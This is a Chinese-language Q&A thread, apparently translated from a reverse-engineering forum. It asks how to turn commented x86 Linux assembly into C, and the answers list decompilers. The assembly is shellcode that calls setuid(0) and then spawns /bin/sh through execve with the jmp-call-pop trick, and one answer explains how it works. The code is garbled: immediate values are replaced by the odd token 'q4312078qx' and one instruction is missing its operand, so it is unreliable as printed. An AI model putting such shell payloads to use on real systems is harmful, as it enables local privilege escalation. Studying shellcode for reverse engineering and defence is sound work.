我在Linux发行版上具有以下汇编代码:

# using the .data section for write permission
# instead of .text section
.section .data
.globl _start

_start:
     # displaying some characters for watermarking :-)
     xor %eax,%eax      # clear eax by setting eax to 0
     xor %ebx,%ebx      # clear ebx by setting ebx to 0
     xor %edx,%edx      # clear edx by setting edx to 0
     push %ebx          # push ebx into the stack, base pointer
                        # for the stack frame
     push q4312078qxa696e55    # push U-n-i characters
     push q4312078qx4d555544   # push M-U-U-D characters
     push q4312078qx414d4841   # push A-M-H-A characters
     movl  %esp,%ecx    # move the sp to ecx
     movb  q4312078qxf,%dl     # move 15 to dl (low d), it is the string length,
                        # notice the use of movb - move byte, this is to avoid null
     movb  q4312078qx4,%al     # move 4 to al (low l),
                        # 4 is system call number for
                        # write(int fd, char *str, int len)
     int  q4312078qx80         # call kernel/syscall

     # setuid(0)
     xor %eax,%eax      # clear eax by setting eax to 0
     xor %ebx,%ebx      # clear ebx by setting ebx to 0
     xor %ecx,%ecx      # clear ecx by setting ecx to 0
     movb q4312078qx17,%al     # move 0x17 into al - setuid(0)
     int q4312078qx80          # call kernel/syscall

     jmp do_call        # jump to get the address with the call trick

jmp_back:
     pop %ebx           # ebx (base pointer=stack frame pointer) has 
                        # the address of our string, use it to index
     xor %eax,%eax      # clear eax by setting eax to 0
     movb %al,7(%ebx)   # put a null at the N or shell[7]
     movl %ebx,8(%ebx)  # put the address of our string (in ebx) into shell[8]

     movl %eax,12(%ebx) # put the null at shell[12] our string now looks something like
                        # "/bin/shq4312078q(*ebx)(*0000)"
     xor %eax,%eax      # clear eax by setting eax to 0
     movb ,%al       # put 11 which is execve

# syscall number into al
     leal 8(%ebx),%ecx  # put the address of XXXX i.e. (*ebx) into ecx
     leal 12(%ebx),%edx # put the address of YYYY i.e. (*0000) into edx
     int q4312078qx80          # call kernel/syscall

do_call:
     call jmp_back

shell:
     .ascii "/bin/shNXXXXYYYY"


如何将其转换为C代码?

评论

看起来像是破解或CTF。那我们应该做功课吗? :) ...我敢肯定有人会的。

快来MortezaLSC,这一切都已被评论并且完全可以理解... RTFM!

@ 0xC0000022L我发现了...谢谢您的帮助

上面的用户:pank4j的答案,不包括下面的反编译器,它也可以将汇编源代码转换为C代码:Boomerang(反编译器)

#1 楼

以下是一些可能会有用的反编译工具/资源的列表。


IDA Pro + Hex-Rays反编译器

Hopper反汇编程序(具有反编译器)

ODA(在线反汇编程序)
可重新定向的反编译器

回旋镖(反编译器)


评论


我是否可以将as test.s -o test的输出反编译为C代码(命令行)?

–MLSC
2014年2月24日在9:29

那要看。如果test.s是从诸如cl.exe或gcc之类的C编译器生成的,则很可能可以找回与原始代码接近的C代码。如果是手工编写的汇编代码,则反汇编代码可能比汇编本身没有任何用处。

– pank4j
2014-02-25 2:34



好的..我正在使用gcc ...怎么可能?谢谢

–MLSC
2014-2-25在10:07

尝试在IDA Pro或Hopper中打开组装好的二进制文件。

– pank4j
2014年2月25日在16:04

#2 楼

您需要反编译器。我会对其进行编译并使用可重新定向的反编译器
,这是完成此特定任务的最简单方法。

#3 楼

我只想添加这段代码的实际作用,因为它很简单。它旨在用作shellcode。一个相对标准的。它的作用是将一些内容写入AHMADUMinU到STDIN(?),该内容会打印在屏幕上,然后通过syscall 11继续执行/ bin / sh。这很容易遵循,因为已对其进行了评论。
我之所以提到所有这些,是因为您将无法在“反编译的代码”中看到很多细节,就像这样: />有一个有趣的地方(旧的shellcoding技巧)。 shellcode需要NULL终止将在堆栈中某处的“ / bin / sh”字符串。为此,它需要获取地址。它通过打两个电话来做到这一点。调用将创建新的堆栈帧,此时可以弹出已保存的堆栈帧。

评论


它也早于shellcode。 DOS病毒执行相同的操作,通常将其称为“增量偏移”。

–百老汇
2014年2月27日在16:46



#4 楼

还有asm2c,它可用于汇编源代码而不是可执行文件或目标文件。


将DOS汇编代码转换为C代码的工具编辑